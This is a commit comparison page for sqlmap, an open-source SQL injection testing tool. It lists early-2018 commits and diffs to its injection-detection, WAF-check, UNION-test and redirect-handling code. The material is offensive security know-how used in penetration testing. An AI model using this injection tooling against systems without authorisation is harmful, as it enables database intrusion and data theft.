Compare commits

..
100 Commits
Author SHA1 Message Date
Miroslav Stampar 2cc6214227 Fixes #3020 2018-04-01 11:25:51 +02:00
Miroslav Stampar 8a90512354 One more commit related to the last one (reduce false hopes in heavily dynamic cases) 2018-03-31 11:02:48 +02:00
Miroslav Stampar ae8699f258 Reducing false-positive 'appears' messages in heavily dynamic environment 2018-03-29 14:47:30 +02:00
Miroslav Stampar cdb1e79370 Disabling ORDER BY tests in heavily dynamic environment 2018-03-29 14:37:33 +02:00
Miroslav Stampar f0677d88b7 Trivial update 2018-03-29 14:22:46 +02:00
Miroslav Stampar 16cd13d7db Fixes #3014 2018-03-28 17:24:12 +02:00
Miroslav Stampar c7329cb03b Probable patch for #3013 and similar Issues 2018-03-28 15:23:14 +02:00
Miroslav Stampar 45fb5ab4a5 Patch for cases when http: is immediatelly being redirected to https: 2018-03-28 15:13:33 +02:00
Miroslav Stampar 241f7321de Proper patch related to the #3009 2018-03-26 15:39:48 +02:00
Miroslav Stampar c6c1ac02bb Patch related to the #3009 2018-03-26 15:07:43 +02:00
Miroslav Stampar f287ff3767 Trivial comment update 2018-03-21 14:29:54 +01:00
Miroslav Stampar 7d5a0ed2dc Use false-positive checks in dummy mode 2018-03-21 14:22:59 +01:00
Miroslav Stampar 4fc7fc6447 Patch for an Issue #2943 2018-03-20 11:32:31 +01:00
Miroslav Stampar 880d709bfd Removing checkIntegrity() from smokeTest() (primarly used before commiting) 2018-03-20 10:32:47 +01:00
Miroslav Stampar 0ddc7bae66 Fixes #2997 2018-03-20 10:31:31 +01:00
Miroslav Stampar 305b2aa9b5 Minor update for smoke test 2018-03-19 01:02:28 +01:00
Miroslav Stampar e63b97afd6 Refactoring #2992 2018-03-19 00:53:16 +01:00
Arjun V c378b6691c Adding sample schemas shipped with Oracle DB (#2992)
* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm
2018-03-19 00:51:00 +01:00
Miroslav Stampar ee431cd83b Minor update 2018-03-19 00:39:48 +01:00
Miroslav Stampar e088fe08ec Update related to the #2995 2018-03-19 00:33:30 +01:00
Miroslav Stampar 74de40b9c5 Minor patch of a previous commit 2018-03-16 15:21:19 +01:00
Miroslav Stampar 6c2b7cff80 Minor patch of UNION checking logic 2018-03-16 15:11:04 +01:00
Miroslav Stampar a6809e03ef Minor just in case patch 2018-03-16 14:38:47 +01:00
Miroslav Stampar ac68eed65d Trivial code style update 2018-03-16 14:33:22 +01:00
Miroslav Stampar a27f21cb1d Trivial message updates 2018-03-16 14:30:47 +01:00
Miroslav Stampar 01fb07f68c Minor patch (message for --check-internet) 2018-03-16 14:28:37 +01:00
Miroslav Stampar d7f2445814 Minor patch of error message parsing regex 2018-03-16 14:25:27 +01:00
Miroslav Stampar 6875c40a06 Minor update of permission problems detection 2018-03-16 14:20:43 +01:00
Miroslav Stampar 4cd859012a Switching zipball update method to experimental 2018-03-15 11:07:14 +01:00
Miroslav Stampar 5feb4c3ccd Updated --update mechanism (fetching and extraction of zipball) 2018-03-14 13:36:10 +01:00
Miroslav Stampar 3c5e9e7559 Fixes #2982 2018-03-14 01:02:26 +01:00
Miroslav Stampar 909a3456e3 Potential fix for #2980 2018-03-13 14:40:32 +01:00
Miroslav Stampar fa4c1c5251 Some more PEPing (I hope that I haven't broke anything) 2018-03-13 13:45:42 +01:00
Miroslav Stampar 8166a4eeb8 Minor PEPing 2018-03-13 11:25:26 +01:00
Miroslav Stampar ae2b02952f Dealing with deprecated raises 2018-03-13 11:13:38 +01:00
Miroslav Stampar 1d9c11b1c1 Minor update of Travis config 2018-03-13 11:03:05 +01:00
Miroslav Stampar 99894dc3c1 Minor update (git/https repo address consistency) 2018-03-13 10:37:13 +01:00
Miroslav Stampar 0c4b6c9978 Fixes #2974 2018-03-12 11:37:48 +01:00
Miroslav Stampar cd88caa0e7 Fixes #2977 2018-03-11 03:34:31 +01:00
Miroslav Stampar c024233f88 Minor patch 2018-03-11 03:28:19 +01:00
Miroslav Stampar 5380e8174b Safer WAF heuristics in case of URI injections 2018-03-11 03:20:33 +01:00
Miroslav Stampar 4cefff7e98 Bug fix (misencoding inside check waf payload) 2018-03-11 03:13:33 +01:00
Miroslav Stampar 11b52c85e1 Patch of bug introduced with 76905e8728 2018-03-11 02:46:37 +01:00
Miroslav Stampar 24cefeaee2 Minor notification update 2018-03-11 02:20:22 +01:00
Miroslav Stampar 9ad32864ec Fixes #2973 2018-03-11 02:15:17 +01:00
Miroslav Stampar 190e8ae5fa Bug fix (UNION SQLi with --no-escape) 2018-03-08 17:44:15 +01:00
Miroslav Stampar 43044d8512 Added new compiled 64-bit version (Issue #2965) 2018-03-08 13:33:49 +01:00
Miroslav Stampar 881b49afd2 Fixes #2969 2018-03-08 01:21:34 +01:00
Miroslav Stampar 93b425809e With latest NULL checks (Issue #2965) 2018-03-07 16:04:35 +01:00
Miroslav Stampar 4f2f31af67 Compiled 32-bit version for #2965 2018-03-07 15:43:42 +01:00
Miroslav Stampar f95d0c831b Minor refactoring (already default mode in os.makedirs) 2018-03-07 14:34:38 +01:00
Miroslav Stampar 76905e8728 Patch related to the #2953 2018-03-05 10:53:24 +01:00
Miroslav Stampar 8d6cc4ae2c Fixes #2959 2018-03-03 00:50:47 +01:00
Miroslav Stampar a369f61207 Fixes #2956 2018-03-03 00:27:21 +01:00
Miroslav Stampar 34d2fb1c8f Fixes #2957 2018-03-03 00:01:26 +01:00
Miroslav Stampar ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar 6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar 9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar 93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar 67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar 24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar 5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar 8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar 365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar 56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar 5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar 061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar 62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar 9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar 10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar 0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar 31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar 30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar 02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar 4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar 4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar 94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar 18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar 439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
118 changed files with 1779 additions and 1612 deletions
-1
View File
@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change. * Each patch should make one logical change.
* Wrap code to 76 columns when possible.
* Avoid tabbing, use four blank spaces instead. * Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]). * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
+3
View File
@@ -1,4 +1,7 @@
language: python language: python
sudo: false
git:
depth: 1
python: python:
- "2.6" - "2.6"
- "2.7" - "2.7"
+15 -15
View File
@@ -12,21 +12,21 @@ CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
# if [ -f $SETTINGS_FULLPATH ] if [ -f $SETTINGS_FULLPATH ]
# then then
# LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
# declare -a LINE declare -a LINE
# INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
# if [ -n "$INCREMENTED" ] if [ -n "$INCREMENTED" ]
# then then
# sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
# echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
# else else
# echo "Something went wrong in VERSION increment" echo "Something went wrong in VERSION increment"
# exit 1 exit 1
# fi fi
# git add "$SETTINGS_FULLPATH" git add "$SETTINGS_FULLPATH"
# fi fi
truncate -s 0 "$CHECKSUM_FULLPATH" truncate -s 0 "$CHECKSUM_FULLPATH"
cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done
+67 -45
View File
@@ -146,8 +146,7 @@ def checkSqlInjection(place, parameter, value):
# error message, simple heuristic check or via DBMS-specific # error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted # payload), ask the user to limit the tests to the fingerprinted
# DBMS # DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \ if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
@@ -156,9 +155,7 @@ def checkSqlInjection(place, parameter, value):
# message, via simple heuristic check or via DBMS-specific # message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific, # payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided # regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \ if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
kb.heuristicDbms or injection.dbms):
msg = "for the remaining tests, do you want to include all tests " msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += "level (%d)" % conf.level if conf.level < 5 else ""
@@ -206,7 +203,7 @@ def checkSqlInjection(place, parameter, value):
continue continue
match = re.search(r"(\d+)-(\d+)", test.request.columns) match = re.search(r"(\d+)-(\d+)", test.request.columns)
if injection.data and match: if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2)) lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper): for _ in (lower, upper):
if _ > 1: if _ > 1:
@@ -242,9 +239,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is not included by the # Skip tests if title, vector or DBMS is not included by the
# given test filter # given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or \ if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
re.search(conf.testFilter, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is not included by the given filter" debugMsg += "name/vector/DBMS is not included by the given filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -252,9 +247,7 @@ def checkSqlInjection(place, parameter, value):
# Skip tests if title, vector or DBMS is included by the # Skip tests if title, vector or DBMS is included by the
# given skip filter # given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or \ if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
re.search(conf.testSkip, str(item), re.I) for item in \
(test.title, test.vector, payloadDbms)):
debugMsg = "skipping test '%s' because its " % title debugMsg = "skipping test '%s' because its " % title
debugMsg += "name/vector/DBMS is included by the given skip filter" debugMsg += "name/vector/DBMS is included by the given skip filter"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -336,6 +329,23 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg) logger.debug(debugMsg)
continue continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r"(\d+)-(\d+)", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
debugMsg = "skipping test '%s'" % title
logger.debug(debugMsg)
continue
infoMsg = "testing '%s'" % title infoMsg = "testing '%s'" % title
logger.info(infoMsg) logger.info(infoMsg)
@@ -498,12 +508,16 @@ def checkSqlInjection(place, parameter, value):
errorResult = Request.queryPage(errorPayload, place, raise404=False) errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult: if errorResult:
continue continue
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True) _ = comparison(kb.heuristicPage, None, getRatioValue=True)
if _ > kb.matchRatio: if _ > kb.matchRatio:
kb.matchRatio = _ kb.matchRatio = _
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
# Reducing false-positive "appears" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True injectable = True
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
@@ -588,10 +602,10 @@ def checkSqlInjection(place, parameter, value):
# body for the test's <grep> regular expression # body for the test's <grep> regular expression
try: try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \ output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \ output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output: if output:
result = output == "1" result = output == "1"
@@ -660,18 +674,6 @@ def checkSqlInjection(place, parameter, value):
infoMsg += "there is at least one other (potential) " infoMsg += "there is at least one other (potential) "
infoMsg += "technique found" infoMsg += "technique found"
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
elif not injection.data:
_ = test.request.columns.split('-')[-1]
if _.isdigit() and int(_) > 10:
if kb.futileUnion is None:
msg = "it is not recommended to perform "
msg += "extended UNION tests if there is not "
msg += "at least one other (potential) "
msg += "technique found. Do you want to skip? [Y/n] "
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
if kb.futileUnion is False:
continue
# Test for UNION query SQL injection # Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
@@ -688,7 +690,7 @@ def checkSqlInjection(place, parameter, value):
kb.previousMethod = method kb.previousMethod = method
if conf.dummy or conf.offline: if conf.offline:
injectable = False injectable = False
# If the injection test was successful feed the injection # If the injection test was successful feed the injection
@@ -873,8 +875,7 @@ def checkFalsePositives(injection):
retVal = True retVal = True
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection) pushValue(kb.injection)
infoMsg = "checking if the injection point on %s " % injection.place infoMsg = "checking if the injection point on %s " % injection.place
@@ -971,7 +972,7 @@ def checkFilteredChars(injection):
# inference techniques depend on character '>' # inference techniques depend on character '>'
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
warnMsg = "it appears that the character '>' is " warnMsg = "it appears that the character '>' is "
warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "filtered by the back-end server. You are strongly "
warnMsg += "advised to rerun with the '--tamper=between'" warnMsg += "advised to rerun with the '--tamper=between'"
@@ -985,6 +986,11 @@ def heuristicCheckSqlInjection(place, parameter):
logger.debug(debugMsg) logger.debug(debugMsg)
return None return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
return None
origValue = conf.paramDict[place][parameter] origValue = conf.paramDict[place][parameter]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
@@ -1171,6 +1177,8 @@ def checkDynamicContent(firstPage, secondPage):
warnMsg += "sqlmap is going to retry the request(s)" warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL) singleTimeLogMessage(warnMsg, logging.CRITICAL)
kb.heavilyDynamic = True
secondPage, _, _ = Request.queryPage(content=True) secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage) findDynamicContent(firstPage, secondPage)
@@ -1332,14 +1340,19 @@ def checkWaf():
retVal = False retVal = False
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER if PLACE.URI in conf.parameters:
value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload)) place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(conf.timeout) pushValue(conf.timeout)
conf.timeout = IDS_WAF_CHECK_TIMEOUT conf.timeout = IDS_WAF_CHECK_TIMEOUT
try: try:
retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException: except SqlmapConnectionException:
retVal = True retVal = True
finally: finally:
@@ -1461,11 +1474,11 @@ def checkNullConnection():
infoMsg = "testing NULL connection to the target URL" infoMsg = "testing NULL connection to the target URL"
logger.info(infoMsg) logger.info(infoMsg)
try: pushValue(kb.pageCompress)
pushValue(kb.pageCompress) kb.pageCompress = False
kb.pageCompress = False
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD) try:
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
kb.nullConnection = NULLCONNECTION.HEAD kb.nullConnection = NULLCONNECTION.HEAD
@@ -1489,9 +1502,8 @@ def checkNullConnection():
infoMsg = "NULL connection is supported with 'skip-read' method" infoMsg = "NULL connection is supported with 'skip-read' method"
logger.info(infoMsg) logger.info(infoMsg)
except SqlmapConnectionException, ex: except SqlmapConnectionException:
errMsg = getSafeExString(ex) pass
raise SqlmapConnectionException(errMsg)
finally: finally:
kb.pageCompress = popValue() kb.pageCompress = popValue()
@@ -1538,6 +1550,16 @@ def checkConnection(suppressOutput=False):
else: else:
kb.errorIsNone = True kb.errorIsNone = True
threadData = getCurrentThreadData()
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
if conf.hostname in (threadData.lastRedirectURL[1] or "") and threadData.lastRedirectURL[1].startswith("https://"):
conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
except SqlmapConnectionException, ex: except SqlmapConnectionException, ex:
if conf.ipv6: if conf.ipv6:
warnMsg = "check connection to a provided " warnMsg = "check connection to a provided "
@@ -1568,8 +1590,8 @@ def checkInternet():
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0] content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
return CHECK_INTERNET_VALUE in (content or "") return CHECK_INTERNET_VALUE in (content or "")
def setVerbosity(): # Cross-linked function def setVerbosity(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
def setWafFunctions(): # Cross-linked function def setWafFunctions(): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
+8 -7
View File
@@ -152,12 +152,15 @@ def _formatInjection(inj):
vector = "%s%s" % (vector, comment) vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data return data
def _showInjections(): def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
if kb.testQueryCount > 0: if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with " header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -283,7 +286,7 @@ def start():
try: try:
if conf.checkInternet: if conf.checkInternet:
infoMsg = "[INFO] checking for Internet connection" infoMsg = "checking for Internet connection"
logger.info(infoMsg) logger.info(infoMsg)
if not checkInternet(): if not checkInternet():
@@ -368,9 +371,8 @@ def start():
